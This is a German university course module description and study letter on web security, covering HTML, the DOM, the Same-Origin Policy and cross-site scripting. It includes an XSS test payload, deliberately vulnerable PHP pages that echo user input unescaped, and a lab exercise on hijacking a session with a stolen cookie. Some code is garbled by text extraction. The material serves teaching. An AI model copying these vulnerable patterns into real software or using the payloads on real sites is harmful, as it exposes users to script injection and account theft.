Modulbeschreibung - Lehrstuhl für Netz- und Datensicherheit

Werbung
Seite 1
Modulbeschreibung
Modulbezeichnung:
Netzsicherheit 3
Studiengang:
Bachelor IT-Sicherheit
Verwendbarkeit:
Dieses Modul ist verwendbar für
• Studierende der IT-Sicherheit
• Studierende der Informatik
• Studierende der Wirtschaftsinformatik
• Studierende der Mathematik und Informatik
auf Bachelorniveau. Dieses Modul kann nicht als Wahlpflichtmodul gewählt werden, sondern ist ein Pflichtmodul.
Lehrveranstaltungen und
Lehrformen:
Netzsicherheit 3
Modulverantwortliche(r):
Prof. Dr. Jörg Schwenk
Lehrende:
Prof. Dr. Jörg Schwenk
Dauer:
1 Semester
Credits:
5 ECTS
Studien- und Prüfungsleistungen:
Schriftliche Prüfung: 120 min.
Berechnung der Modulnote:
Schriftliche Prüfung
Notwendige Voraussetzungen:
• Modul Grundlagen der Programmierung
Empfohlene Voraussetzungen:
Unterrichts- und Prüfungssprache:
Deutsch, aktuelle Facharktikel in englischer Sprache
Zuordnung des Moduls zu den
Fachgebieten des Curriculums:
Einordnung ins Fachsemester:
Ab Studiensemester 7
Generelle Zielsetzung des Moduls:
Modul zur Förderung und Verstärkung der Fachkompetenz
Arbeitsaufwand bzw.
Gesamtworkload:
Summe: 150 h
Präsenzzeit: 2 h
• Prüfung: 2h
Eigenstudium: 148 h
• Durcharbeiten der Studienbriefe: 85 h
• Durcharbeiten des Online-Lernmaterials: 15 h
• Wahrnehmen der Online Betreuung und Beratung: 10 h
• Ausarbeiten von Aufgaben: 30 h
• Individuelle Prüfungsvorbereitung der Studierenden: 8 h
Seite 2
Lerninhalt und Niveau:
Kryptographie wird eingesetzt, um die Vertraulichkeit und Integrität von Daten zu schützen, die über Datennetze übertragen
werden. Hierbei werden sowohl symmetrische Verfahren (Mobilfunk, WLAN), als auch asymmetrische bzw. hybride Verfahren (EMail, WWW, VPN) eingesetzt. In diesem Modul werden konkrete
kryptographische Systeme zur Absicherung des World Wide Web
betrachtet und von allen Seiten auf ihre Sicherheit hin beleuchtet.
Dieses Modul umfasst folgende Themen:
• Same-Origin Policy
• Cross-Site Scripting
• Cross-Site Request Forgery
• XML
• Web Services
Neben den Systemen selbst werden dabei auch publizierte Angriffe auf diese Systeme besprochen. Die Studenten werden aufgefordert, selbst wissenschaftliche Überlegungen zur Verbesserung der
Sicherheit anzustellen.
Das Niveau der Lerninhalte liegt gemessen am DQR-Niveau bei 6
(Bachelor)
Angestrebte Lernergebnisse:
Fachkompetenz: Die Studierenden erwerben grundlegendes Wissen im Bereich der Sicherheit von Webanwendungen. Sie sind in
der Lage die Sicherheit einer Webanwendung einzuschätzen und
Angriffspunkte offenzulegen.
Methodenkompetenz: Die Studierenden beherrschen den Umgang
mit Fachliteratur und können ihr wichtige Informationen eigenständig entnehmen. Weiterhin sind die Studierenden mit verschiedenen Angriffstechniken vertraut, die auf neue Protokolle und
Verfahren übertragen werden können.
Sozialkompetenz: Die Studenten tauschen sich über Probleme beim
Erarbeiten und Anwenden von neuen Inhalten aus und können
problemorientiert diskutieren.
Selbstkompetenz: Die Studenten erlangen die Fähigkeit, sich eine Meinung über die Sicherheit von Protokollen zu bilden. Darüber hinaus besitzen sie die Kompetenz, neue Angriffe aus der
aktuellen Fachliteratur zu verstehen und ihre Bedeutungen zu
evaluieren. Die Studenten entwickeln ein "gesundes Misstrauen"gegenüber vorgegebenen Sicherheitskonzepten.
Häufigkeit des Angebots:
Jedes Semester
Anerkannte Module:
Anerkannte anderweitige Lernergebnisse / Lernleistungen:
Medienformen:
Studienbriefe in schriflicher und elektronischer Form, Onlinematerial in Lernplattform, Übungen über Lernplattform, OnlineKonferenzen, Chat und Forum
Seite 3
Literatur:
• Understanding Cryptography, Christof Paar, Jan Pelzl, 2010
• Sicherheit und Kryptographie im Internet, Jörg Schwenk,
2005
• Computer Networks, Andrew S. Tanenbaum, 2002
Weitere Literatur wird in der Lehrveranstaltung bekannt gegeben.
Netzsicherheit 3
[Netsec3]
Autoren:
Prof. Dr. Jög Schwenk
Ruhr-Universität Bochum
Netzsicherheit 3
[Netsec3]
Autor:
Prof. Dr. Jög Schwenk
1. Auflage
Ruhr-Universität Bochum
© 2015 Ruhr-Universität Bochum
Ruhr-Universität Bochum
Universitätsstraße 150
44801 Bochum
1. Auflage (4. Dezember 2015)
Didaktische und redaktionelle Bearbeitung:
Das Werk einschließlich seiner Teile ist urheberrechtlich geschützt. Jede Verwendung außerhalb der engen Grenzen des Urheberrechtsgesetzes ist ohne
Zustimmung der Verfasser unzulässig und strafbar. Das gilt insbesondere
für Vervielfältigungen, Übersetzungen, Mikroverfilmungen und die Einspeicherung und Verarbeitung in elektronischen Systemen.
Um die Lesbarkeit zu vereinfachen, wird auf die zusätzliche Formulierung
der weiblichen Form bei Personenbezeichnungen verzichtet. Wir weisen deshalb darauf hin, dass die Verwendung der männlichen Form explizit als
geschlechtsunabhängig verstanden werden soll.
Das diesem Bericht zugrundeliegende Vorhaben wurde mit Mitteln des Bundesministeriums für Bildung, und Forschung unter dem Förderkennzeichen
logoBMBF gefördert. Die Verantwortung für den Inhalt dieser Veröffentlichung liegt beim Autor.
Inhaltsverzeichnis
Inhaltsverzeichnis
Seite 3
Seite 4
Einleitung zu den Studienbriefen
Einleitung zu den Studienbriefen
I. Abkürzungen der Randsymbole und Farbkodierungen
Zu den Autoren
Seite 5
II. Zu den Autoren
Prof. Dr. Jörg Schwenk ist seit September 2003 Inhaber des Lehrstuhls fr Netzund Datensicherheit der Ruhr-Universität Bochum. Der Lehrstuhl gehrt zum
renommierten Horst Görtz Institut für IT Sicherheit.
Herr Schwenk ist seit ber 20 Jahren im Bereich Kryptographie und IT-Sicherheit
tätig und ein international anerkannter Experte auf diesem Gebiet. Nach seiner
Promotion im Fachbereich Mathematik der Universität Gien wechselte Herr
Schwenk im Jahre 1993 zunächst in die Industrie, wo er am Technologiezentrum
der Deutschen Telekom AG in Darmstadt angewandte Forschung im Bereich der
IT-Sicherheit betrieb. Professor Schwenk ist Autor zahlreicher internationaler
Publikationen auf renommierten Konferenzen (z. B. Eurocrypt, Asiacrypt
und Communications and Multimedia Security), Autor von Lehrbüchern zur
Kryptographie und Internet-Sicherheit und von etwa 60 Patenten im Bereich der
IT-Sicherheit.
Seite 6
Einleitung zu den Studienbriefen
III. Modullehrziele
Das WWW hat eine einzigartige Erfolgsgeschichte erlebt. Aus diesem Grund gehen immer mehr Firmen
dazu über, Geschäftsprozesse mittels Webservices über WWW-Techniken zu vernetzen. Dazu wird heute
SOAP eingesetzt, das Datenformat ist XML. In dieser Vorlesung soll es um die Sicherheit von Webservices
gehen. Sie besteht aus drei Teilen: Im ersten Teil soll das heutige WWW vorgstellt werden, da viele Konzepte
aus XML oder Webservices ohne grundlegende Kenntnisse der Standards HTTP, HTML, JavaScript, PHP, etc.
nicht verständlich sind. Der zweite Teil bietet eine Einführung in XML und seine Co-Standards, insbesondere
XML Signature und XML Encryption. Der dritte Teil stellt die WS-Security Protokoll Suite vor, so weit sie bis
heute publiziert ist.
Die Studierenden haben ein Verständnis für die neuartigen Sicherheitsanforderungen und Probleme, die
durch den Einsatz von XML- und WS-Security entstehen.
Dieses Modul basiert auf den Kapiteln 10 und 11 des im Springer Vieweg Verlag erschienenen Buches
“Sicherheit und Kryptographie im Internet” von Jörg Schwenk ?
Studienbrief 1 Bausteine von Webanwendungen
Studienbrief 1 Bausteine von Webanwendungen
1.1 Lernziele
Sie kennen Grundlagen von Webanwendungen. Sie erklären HTML und zeigen
das Zusammenspiel von HTTP und HTML im Web auf. Sie begründen, warum
JavaScript im Webkontext eine wichtige Rolle spielt und erläutern in diesem
Zusammenhang das DOM.
1.2 Hypertext Markup Language (HTML)
Die Hyptext Markup Language (kurz: HTML) ist eine plattformunabhängige Dokumentbeschreibungssprache, die hauptsächlich für die Darstellung von Websites
gebraucht wird.
Ein HTML-Dokument, welches mit jedem beliebigen Texteditor erstellt werden
kann, enthält neben den zu übertragenden Text auch HTML-Befehle (Tags, Marken).
Diese können für die Formatierung des Textes, Einbindung von Mediendateien
(z.B. Bilder), Querverweise auf andere Dokumente (Hyperlinks) und Formulare
für Eingaben zuständig sein. Das Grundgerüst eines HTML-Dokuments sieht wie
folgt aus:
<html>
<head>
< t i t l e > T i t e l der Website</ t i t l e >
</head>
<body>
Hier s t e h t e i n Text .
</body>
</html>
Mit dem <body>-Tag beginnt der Abschnitt mit den zu übertragenden sichtbaren
Inhalten. Dieser Abschnitt wird mit </body> geschlossen.
Mit HTML können auch externe Inhalte und Skripte in die Website eingebunden
werden. Zum Beispiel kann man mit dem folgendem Tag ein JavaScript-Code
einbinden:
< s c r i p t type= " t e x t / j a v a s c r i p t " > . . . </ s c r i p t >
Mit dem Attribut type hat man die hier zu verwendende Skriptsprache festgelegt.
Meistens wird JavaScript verwendet.
1.3 JavaScript
JavaScript ist eine Skriptsprache die die Möglichkeiten von HTML erweitert.
Mit JavaScript kann man Benutzerinteraktionen auswerten, Inhalte verändern,
nachladen, generieren und vieles mehr. Somit ist diese Skriptsprache darauf
ausgelegt auf Websites verwendet zu werden.
Mit JavaScript lässt sich objektorientiert und sowohl prozedural als auch funktional
programmieren ?.
Seite 7
Seite 8
Studienbrief 1 Bausteine von Webanwendungen
JavaScript-Skripte kann man direkt innerhalb eines HTML-Dokuments programmieren oder separat in einer externen Datei. Diese werden clientseitig zur
Laufzeit vom Web-Browser interpretiert, die somit auch dementsprechende
Interpreter-Software besitzen. Des Weiteren wird JavaScript in einer so genannten
"Sandbox" ausgeführt, welche man sich als eine Art Sicherheitskäfig vorstellen
kann in dem Skriptsprachen nach außen keinen Einfluss haben. Man hat also
nur Zugriff auf die Objekte des Browsers und somit ist es nicht möglich mittels
JavaScript auf das Dateisystem zuzugreifen.
JavaScript wird auch häufig dazu verwendet eine Interaktion mit dem Benutzer
zu realisieren. Eine solche Interaktion mit dem Benutzer erfolgt meistens über
Änderungen an Inhalten des HTML-Dokuments. Dabei greift JavaScript über die
DOM-API auf die Elemente des HTML-Dokuments zu.
1.4 Document Object Model (DOM)
Das Document Object Model (kurz DOM) ist eine vom Word-Wide-Web Consortium
(W3C) verabschiedete Spezifikation ?. Es ist eine Sprach- und Plattformunabhängige Schnittstelle (API) zwischen einem Programm, hier dem Browser, und einem
HTML- beziehungsweise XML-Dokument. Die Elemente dieser Dokumente werden im Browser in einer baumartigen Struktur (Abbildung ??), genannt DOM-Tree,
abgebildet und dem darunter liegenden JavaScript-Interpreter als Objekte zur Verfügung gestellt, wodurch eine Manipulation mit Hilfe von JavaScript ermöglicht
wird.
Die Entwicklung des Document Object Models umfasst mehrere Stadien, die Level
genannt werden. Das Document Object Model begann zunächst als, nicht eigenständiger, Teil der HTML4 Spezifikation. Mit der Veröffentlichung von JavaScript
durch Netscape im Jahre 1995 und JScript durch Microsoft im Jahre 1996 gab es die
eingeschränkte Möglichkeit, Inhalte einer Seite dynamisch zu manipulieren und
auf Interaktionen des Nutzers zu reagieren. Die damalige Implementierung dieser
Zugriffe wird allgemein als DOM-Level 0 angesehen. Da Browser-Skriptsprachen
bis dahin nicht standardisiert waren, wurde 1997 die ECMAScript-Spezifikation
geschaffen ?. Nach dieser Veröffentlichung gewann auch die Standardisierung
des DOM an Bedeutung. Daher hat das W3C gegen Ende 1998 das DOM-Level 1
ins Leben gerufen, welche die Zielsetzung hatte, einen gemeinsamen Standard
für den Zugriff auf HTML- und XML Dokumente zu finden ?. Hiermit war es
bereits möglich auf alle Objekte des Dokuments zuzugreifen. Im Jahre 2000 wurde
die nächste Spezifikation (Level 2) veröffentlicht ?, die einige Erweiterungen mit
sich brachten. Dazu gehören die Model Events, welche die Möglichkeit bieten
auf UI Events und Veränderungen von Objekten zu reagieren. Gegen Mitte 2004
wurde die noch aktuelle DOM-Version (Level 3) veröffentlicht ?, die weitere Änderungen bezüglich XPath und Keyboard Events mit sich brachten. Die kommende
DOM-Version (Level 4) befindet sich momentan noch in Arbeit.
Der W3C Standard spezifiziert eine Schnittstelle für den Zugriff auf HTML- oder
XML- Dokumente. Mittels einer DOM-API (Application Programming Interface)
können JavaScript-Skripte auf das geladene HTML Dokument zugreifen. Bei der
DOM-API handelt es sich um eine konkrete Implementierung der abstrakten DOMSchnittstelle.
Die bereits erwähnte Baumstruktur, die bei DOM vorliegt sieht wie folgt aus:
Das document-Objekt befindet sich in der Reihenfolge noch vor dem htmlObjekt, welches in dieser Abbildung als Wurzel gekennzeichnet ist. Nach dem
1.4 Document Object Model (DOM)
Seite 9
Abb. 1.1: DOM-Baum
(Haessler, 2007)
html-Objekt folgt das head- und body-Objekt. Über die DOM-API kann man
mittels JavaScript mit verschiedenen Methoden auf Elemente dieses DOM-Baums
zugreifen, neue Elemente erzeugen und in den Baum einhängen oder Teile des
DOM-Baums löschen.
Hier einige wichtige JavaScript DOM-Funktionen: (Zugriff über document-Objekt)
?
Zugriff auf das DOM
getElementById()
getElementsByTagName()
getElementsByClassName()
Neue Knoten erzeugen
createElement()
createDocumentFragment()
createTextNode()
createAttribute()
cloneNode()
HTML-Attribute manipulieren
getAttribute()
setAttribute()
removeAttribute()
Den DOM-Baum manipulieren
insertBefore()
replaceChild()
removeChild()
appendChild()
Beispiel:
var button = document . c r e a t e E l e m e n t ( " in pu t " ) ;
button . type = " button " ;
button . value = " im a button " ;
Mit diesem Beispiel wird ein input-Element (<input>-Tag) erzeugt. Der Typ
(type-Attribut) wird mit dem Wert button definiert. Diese Schaltfläche erhält als
Aufschrift im a button.
Seite 10
Studienbrief 1 Bausteine von Webanwendungen
1.5 Same-Origin Policy (SOP)
Die Same-Origin Policy ist ein zentrales Sicherheitskonzept heutige Webbrowser.
Diese SOP erlaubt den Zugriff auf Dokumente der selben Herkunft, wie etwa ein
ausgeführtes Skript gleicher Herkunft. Damit also ein JavaScript auf ein anderes
Dokument zugreifen kann als das Dokument von wo es ausgeführt wird, müssen
Host (Domain), Port und Protokoll mit der Herkunft des Skripts übereinstimmen.
Dieses Regelwerk würde bspw. verhindern, dass ein herkunftsfremder JavaScriptCode aus einem eingeschleusten Inlineframe auf das DOM der eigentlichen Seite
zugreift und dort Daten ausspäht oder manipuliert.
Die Same-Origin Policy hat allerdings keinen Einfluss auf die Einbindung eines
externen Skripts.
Es ist also möglich mittels des HTML <script>-Tags auch JavaScript-Codes verschiedener Herkunft einzubinden. Zum Beispiel kann man wie folgt einen externen
JavaScript-Code ausführen:
< s c r i p t type =" t e x t / j a v a s c r i p t "
s r c =" h t t p :// example . com/boese . j s "></ s c r i p t >
Diesem JavaScript-Code wird die Herkunft der einbindenden Webanwendung
zugewiesen. Es kann also auf Daten im DOM zugreifen. Allerdings hat dieses
Skript dann keine Möglichkeit, mit dem eigenen Server (example.com) zu kommunizieren.
Dies kann sich im Fall von Cross-Site-Scripting als ein schwerwiegendes Sicherheitsproblem rausstellen.
1.6 Übungsaufgaben
Ü
Übung 1.1
Besuchen Sie die Webseite unter http://cloud.nds.rub.de:7044.
a) Lassen Sie sich von Ihrem Browser den Seitenquelltext anzeigen. Geben Sie die ersten 5 Zeilen des HTML-Quelltextes als Lösung ab.
Erklären Sie kurz die Bedeutung der jeweiligen Zeilen (ein Satz pro
Zeile).
b) Geben Sie ebenfalls den übertragenen HTTP Header der Antwort an.
Welche Informationen können diesem entnommen werden (ein Satz
pro Header-Zeile)?
1.6 Übungsaufgaben
Seite 11
Übung 1.2
Gehen Sie davon aus, dass Sie mit einem Angriff in der Lage waren, einem
Administrator der Seite http://cloud.nds.rub.de:7044 das SessionCookie zu stehlen. Das Session-Cookie des Administrators hat den Wert
f026a85a6952.
a) Übernehmen Sie die Session des Administrators. Wie Sie sehen, kann
ein Administrator Verifikationscodes berechnen lassen. Wie lautet ihr
Verifikationscode?
b) Welche der Daten, die Sie an den Server senden, beeinflussen den
Verifikationscode und welche nicht?
c) Knobelaufgabe: Finden Sie heraus, wie genau der Verifikationscode
berechnet wird. Geben Sie eine Berechnungsvorschrift an, mit der
man Verifikationscodes für beliebige Studenten ermitteln kann.
Übung 1.3
Unter der URL http://cloud.nds.rub.de:7044/checksum nimmt
der Server HTTP POST-Requests entgegen. Wenn Sie eine Matrikelnummer mit dem Parameternamen matrNum an den Server senden, antwortet
dieser mit einer Checksumme. Geben Sie die Checksumme für ihre Matrikelnummer als Lösung an. Beschreiben Sie (kurz!) wie sie vorgegangen
sind.
Übung 1.4
Unter http://www.wireshark.org/ finden Sie das Programm Wireshark. Laden Sie sich die aktuellste Version herunter, installieren Sie sie,
und machen Sie sich damit vertraut. Sie werden dieses Programm in den
nachfolgenden Übungen noch oft verwenden.
Starten Sie den Capture-Mode, besuchen Sie dann die Webseite
http://nds.rub.de/ mit einem Browser und beenden Sie den CaptureMode wieder. Suchen Sie in der angezeigten Liste nach einem Eintrag
mit Protokolltyp HTTP, der nach dem Besuch der Webseite entstanden ist.
Lassen Sie sich den zugehörigen Datenstrom anzeigen (Rechtsklick auf den
Eintrag, dann Follow TCP Stream).
a) Wie viele Requests werden vom Browser gestellt, bis die Webseite vollständig geladen wurde? Beschreiben Sie die Requests. Eine Antwort
in Form einer Zahl ist nicht ausreichend.
b) Was bedeuten die unterschiedlichen Farben in dem Follow TCP Stream
Fenster?
Ü
Ü
Seite 12
Studienbrief 1 Bausteine von Webanwendungen
Übung 1.5
Wireshark bietet Ihnen die Möglichkeit die mitgeschnittenen Daten effizient
und übersichtlich zu filtern. Welchen Filter müssen sie jeweils eingeben,
damit die folgenden Daten angezeigt werden können?
Hinweis: Es kann mehrere richtig Lösungen geben. Bitte dann eine möglichst einfach zu lesen/verstehende nehmen.
a) Es soll nur HTTP Traffic angezeigt werden.
b) Es soll nur HTTP, FTP und Email Traffic angezeigt werden. Beachten
sie, dass Email Traffic aus mehreren Protokollen besteht.
c) Es soll nur der HTTP Traffic zwischen Nutzer und der Webseite
http://nds.rub.de/ (Request plus Responses) angezeigt werden.
d) Es soll nur der HTTP Traffic für angeforderte Internet Seiten angezeigt werden, die über die GET Methode angefragt wurden und den
Teilstring login enthalten (z.B. login.php).
e) Es sollen alle Protokolle mit Ausnahme von DNS und HTTP angezeigt
werden.
1.6 Übungsaufgaben
Seite 13
Übung 1.6
Gegen sei das folgende HTML/Javascript Template:
Quelltext 1.1: HTML/Javascript Template
< !DOCTYPE html>
<html>
<head>
<meta http−equiv= " Content−Type " c o n t e n t= " t e x t /html ; ␣ c h a r s e t = u t f −8" />
< t i t l e > J a v a S c r i p t </ t i t l e >
<script>
function deleteText ( ) {
}
f u n c t i o n countChars ( ) {
}
</ s c r i p t >
</head>
<body>
< t e x t a r e a >This i s an example t e x t </ t e x t a r e a >
<div>
<button type= " button " > D e l e t e t e x t </button>
</div>
<p>
The t e x t c o n t a i n s <span>NUMBER OF CHARs</span> c h a r a c t e r s .
</p>
</body>
</html>
Ergänzen sie das Dokument wie folgt:
a) Implementieren sie die deleteText() JavaScript Methode. Diese
soll den Text des <textarea/> Elements per JavaScript löschen.
b) Die deleteText() Methode soll beim Klicken auf den entsprechenden Knopf ausgeführt werden.
c) Implementieren sie die countChars() JavaScript Methode. Diese soll die Anzahl der Zeichen ermitteln, die der Text aus dem
<textarea/> Element enthält. Das Ergebnis soll in das <span/>
Element geschrieben werden.
d) Die countChars() Methode soll automatisch ausgeführt werden,
wenn sich der Text ändert.
Hinweise:
• Wenn Sie möchten, dürfen sie die HTML-Elemente um geeignete
HTML-Attribute ergänzen. Es sollen jedoch kein weiteren HTMLElemente erstellt/eingefügt werden.
• Verwenden Sie nur standardkonformes JavaScript. Verwenden sie z.B.
keine veralteten, proprietären Erweiterungen von Microsoft, die nur
im Internet Explorer funktionsfähig sind.
• Lösen Sie diese Aufgabe ohne JavaScript-Libraries wie JQuery, etc.
Geben sie das vollständige HTML Dokument ab. Es ist nicht notwendig,
jeden Einzelschritt einzureichen. Ein Dokument für die gesamte Aufgabe
ist ausreichend.
Studienbrief 2 Cross-Site Scripting
Studienbrief 2 Cross-Site Scripting
2.1 Lehrziele
Sie können die wichtige Angriffstechnik Cross-Site Scripting erläutern und darstellen, wie durch solche Angriffe Schaden entstehen kann.
Dieser Studienbrief erweitert (?, Kapitel 11.2).
Mit der breiten Vernetzung von Nutzern und Systemen ist IT-Sicherheit ein wichtiger Punkt bei der Entwicklung von Anwendungen geworden. Genau wie im
Binarybereich gibt es auch im Web-Developer Bereich typische Sicherheitslücken,
die durch unsichere Programmierweisen entstehen können. Neben Schwachstellen,
wie SQL-Injections und Remote Code Executions, gibt es noch weitere kritische Arten,
die verheerende Folgen für Systeme und Nutzer haben können. Eine dieser Art
von Schwachstellen ist die Cross-Site-Scripting-Schwachstelle, welche wir nun in
diesem Abschnitt erläutern.
Das Cross-Site-Scripting (kurz XSS) lässt sich in den Bereich Code-InjectionSchwachstellen kategorisieren. Hierbei gelingt es einem Angreifer JavaScript-Code
im Browser eines Nutzers auszuführen, indem er einen Schadcode (Payload) auf
einer Seite hinterlässt oder den Nutzer dazu bringt den Payload per GET- oder
POST-Requests an den Server zu schicken. Dies erlaubt die Umgehung der CrossOrigin-Policy und ermöglicht es einem Angreifer, im schlimmsten Fall, die Identität
eines Nutzers zu stehlen. Dies kann verherende Folgen haben, abhängig von den
Berechtigung des Nutzers innerhalb des Systems. Statistisch gesehen war die XSSSchwachstelle 2005 und 2006 die am häufigsten gemeldete Schwachstellenart ?
und machte 2007 84% aller Web-Schwachstellen aus ?. In den OWASP TOP 10
waren XSS im Jahre 2010 auf Platz zwei ? und 2013 auf Platz drei ? der kritischsten
Sicherheitslücken im Web.
Die Gruppierungen der XSS-Schwachstellen sind in keiner Weise standardisiert.
Jedoch lassen sie sich in gdrei Kategorien unterteilen: Reflected XSS, Stored XSS
und DOM-basiertes XSS.
Die Reflected-XSS Schwachstelle ist eine XSS-Lücke, bei der die Benutzereingabe
über GET- oder POST-Parameter an eine Seite übergeben wird. Daraufhin gibt
die Seite die Usereingabe auf der Folgeseite wieder aus. Ein Beispiel für ein Szenario dieser Art ist eine Suchfunktion, bei welcher der Suchbegriff über einen
POST-Parameter verschickt wird und dieser Suchbegriff erneut auf der ErgebnisSeite angezeigt wird. Wenn der Angreifer nun einen funktionalen HTML- oder
JavaScript-Code einschleust wird dieser auf der Ergebnis-Seite ausgegeben und
ausgeführt. Dadurch kann ein Angreifer beliebigen Code im Kontext dieser Seite
ausführen. Die zweite große Art von XSS-Lücken ist die so genannte Stored-XSS. Bei
der Stored-XSS muss im Gegensatz zur Reflected-XSS der Payload nicht bei jedem
Aufruf erneut mitgesendet werden. Bei dieser Art von XSS sendet der Angreifer
einmalig seinen Payload an den Server, welchen der Server in einen Speicher, wie
zum Beispiel eine Datenbank, ablegt und diesen Eingabe auf einer anderen Seiten
wieder ausgeben kann. Ein Szenario für diese Art von Lücke könnte ein Gästebuch,
Forum oder ein Kommentarsystem sein, bei dem Nutzer einen Inhalt hinterlassen
können. Dieser Inhalt wird dann für alle Nutzer wieder sichtbar. Wenn die Eingabe
eines Nutzers nun nicht validiert oder die Ausgabe nicht gefiltert wird, kann ein
Angreifer einen Payload mit JavaScript einschleusen, welcher im Kontext der Seite
und bei jedem Nutzer, der diese Seite öffnet, ausgeführt wird.
Die dritte Art von Cross-Site-Scripting Schwachstellen wird DOM-basiertes XSS
Seite 15
Seite 16
Studienbrief 2 Cross-Site Scripting
Persistent
Stored
Nicht persistent
Reflected
Dom-basiert
Local
Abb. 2.1: XSS Kategorien
genannt, auch bekannt als local XSS. Auf diese Variante gehen wir ausführlich im
Folgekapitel ein.
Ein XSS-Angriff wird mittels injizierter Skripte (z.B. JavaScript) und HTML
(Hypertext Markup Language) durchgeführt ?. Mit diesen Mitteln kann man
dann an sensible Daten von Benutzern dieser verwundbaren Website gelangen.
Je nachdem was für ein XSS-Angriff erfolgreich durchgeführt wurde, ist der
Diebstahl von Benutzer-Sessions, Phishing-Angriffe (z.B. Benutzerdaten stehlen),
Websiteumgestaltung (z.B Verbreitung von Falschmeldungen), Verbreitung von
XSS-Würmern (in Kombination mit Cross-Site-Request-Forgery) und vielem mehr
möglich ?. Man sieht also, dass Cross-Site-Scripting ein breites Spektrum an
möglichen Webangriffen bietet.
Des Weiteren gehört XSS zu den meist auftretenden Schwachstellen von Webapplikationen. Demnach ist Cross-Site-Scripting ein nicht zu unterschätzender Angriff
auf Websites, welcher großen Schaden an der Website und an dessen Betreiber
und Besucher anrichten kann ?.
2.2 Ursachen
Bis auf die Mutation-basierte XSS-Variante, haben alle XSS-Varianten die selbe
Grundproblematik. Ein Nutzer ist auf einer Seite und nimmt eine Eingabe vor
(Abbildung ??). Diese Eingabe wird von der Webseite beziehungsweise dem darunter liegendem System verarbeitet und entweder direkt ausgegeben (Reflected)
oder permanent gespeichert (Stored) und erst später ausgegeben. In allen Fällen ist
das wichtige hierbei, dass die Ausgabe auf denselben DOM zugreift, wie die Seite
selber. Dazu zählen auch Objekte wie das Cookie. Die Ausgabe selber befindet
sich meist in einem Kontext innerhalb der Seite. Entweder wird es frei innerhalb
der Seite ausgegeben oder es befindet sich als Attribut innerhalb eines HTML-Tags.
Ein Angreifer könnte als Eingabe nun valide HTML-Metazeichen benutzen und
aus diesem Kontext ausbrechen und eigenen Code einfügen, der dann jeweils bei
den Nutzern der selben Seite ausgeführt werden.
Nicht-Persistentes bzw. reflektiertes XSS
Beim nicht-persistenten bzw. reflektierten Cross-Site-Scripting wird die Benutzereingabe direkt vom Server zurückgesendet und wird ohne weiteres direkt
ausgegeben ? ? ? ?. Die Skriptinjektion kann über Eingabefelder oder Suchmasken durchgeführt werden. Bei dieser Angriffsart handelt es sich um ein
nicht-persistenten Cross-Site-Scripting Angriff, da der eingeschleuste Schadcode
nicht vom Server gespeichert wird, sondern nur temporär bei der jeweiligen
Generierung der Website ausgeführt wird. Um diesen Angriff auch zu realisieren
muss man die URL (Uniform Resource Locator) mit diesem schädlichen Skript
präparieren und dann dem Opfer zukommen lassen.
Die Nicht-Persistenz dieses Angriffs kann man bei erneutem Aufruf der Seite,
allerdings ohne der manipulierten URL feststellen. Denn bei dieser Variante des
Cross-Site-Scripting beinhaltet nicht die Seite an sich den Schadcode, sondern die
Eingabe
Verarbeitung
Ausgabe
Abb. 2.2: Verarbeitung
einer Nutzereingabe
2.2 Ursachen
Seite 17
Abb. 2.3: Reflektiertes
XSS (Rütten, 2007)
präparierte URL, welche mittels der verwundbaren Seite den Schadcode ausführt.
Mit folgender Eingabe in ein Eingabefeld kann man eine Seite auf die Verwundbarkeit von Cross-Site-Scripting testen (ohne Berücksichtigung auf mögliche
Schutzmechanismen):
< s c r i p t type= " t e x t / j a v a s c r i p t " >
a l e r t ( " XSS␣ i s t ␣ moeglich " ) ;
</ s c r i p t >
Wenn der Server die Eingabe nicht überprüft und die Ausgabe nicht kodiert, dann
wird in diesem Fall ein kleines Warnfenster mit einer Meldung ausgegeben. Somit
kommt man zu der Schlussfolgerung, dass mittels Benutzereingaben HTML- und
JavaScript-Injektionen möglich sind.
So eine gegen XSS-anfällige Website könnte im Groben wie folgt aussehen:
<html>
<head>< t i t l e > I c h bin gegen XSS a n f a e l l i g </ t i t l e ></head>
<body>
<?php echo $_GET [ ' eingabe ' ] ; ?>
</body>
</html>
Dieser Code wird als website.php gespeichert ?.
In diesem Beispiel wird über den GET Parameter eingabe, aus der URL eine Nachricht abgerufen. So wird aus dieser URL
http://example.com/website.php?eingabe=test, das Wort test ausgelesen und auf der Website angezeigt. Statt test hätte man den Parameter auch
mit einem JavaScript-Code initialisieren können.
Dieses Beispiel sieht einer Suchfunktion hinsichtlich der Ein- und Ausgabe ähnlich.
Eine Anfrage einer Suchfunktion könnte so aussehen:
http://example.com/suche.php?text=Suchbegriff
Die übergebenen Suchbegriffe werden von der serverseitigen Webapplikation ungeprüft ausgegeben.
Seite 18
Studienbrief 2 Cross-Site Scripting
Ergebnis:
Sie suchten nach:
Suchbegriff
Hätte man nun folgendes als Suchbegriff verwendet:
<script type="text/javascript"> alert("XSS ist moeglich");
</script>
Dann sollte man folgendes Ergebnis erhalten:
Sie suchten nach:
<script type="text/javascript"> alert("XSS ist moeglich");
</script>
Statt des eingegebenen Suchbegriffs, sieht man allerdings ein Warnfenster als
Ergebnis.
Persistentes XSS
Abb. 2.4: Persistentes
XSS (Rütten, 2007)
Persistentes bzw. beständiges Cross-Site-Scripting unterscheidet sich im Gegensatz zum reflektierten Cross-Site-Scripting lediglich darin, dass der JavaScriptSchadcode nicht flüchtig, sondern dauerhaft auf dem Zielserver, wie in einer
Datenbank gespeichert und ausgegeben wird ? ? ? ?. Dies kann bei Forum- oder
Gästebuch-einträge der Fall sein, da solche Beiträge in einer Datenbank dauerhaft
gespeichert und abgerufen werden.
Nachdem man den Schadcode in der verwundbaren Website injiziert hat, werden
alle Besucher dieser Website mit diesem Problem konfrontiert. Dieser Angriffstyp
ist also immer möglich, wenn die Webanwendung Benutzereingaben serverseitig
speichert und diese später ohne Überprüfung mit eventueller Filterung bzw. geeignete Kodierung ausgibt.
So eine gegen XSS-anfällige Website könnte im Groben wie folgt aussehen:
<?php
$p = $_GET [ ' t e x t ' ] ;
$handle = fopen ( " d a t e i . t x t " , "w" ) ;
f p u t s ( $handle , $p ) ;
f c l o s e ( $handle ) ;
?>
2.2 Ursachen
Hier wird über den Parameter text etwas in datei.txt abgespeichert.
<?php
$handle = fopen ( " d a t e i . t x t " , " r " ) ;
$p = f g e t s ( $handle , 1 0 0 0 ) ;
f c l o s e ( $handle ) ;
echo $p ;
?>
Jetzt wird der Inhalt der Datei ausgelesen und ohne Prüfung auf der Seite ausgegeben ?.
DOM-basiertes XSS
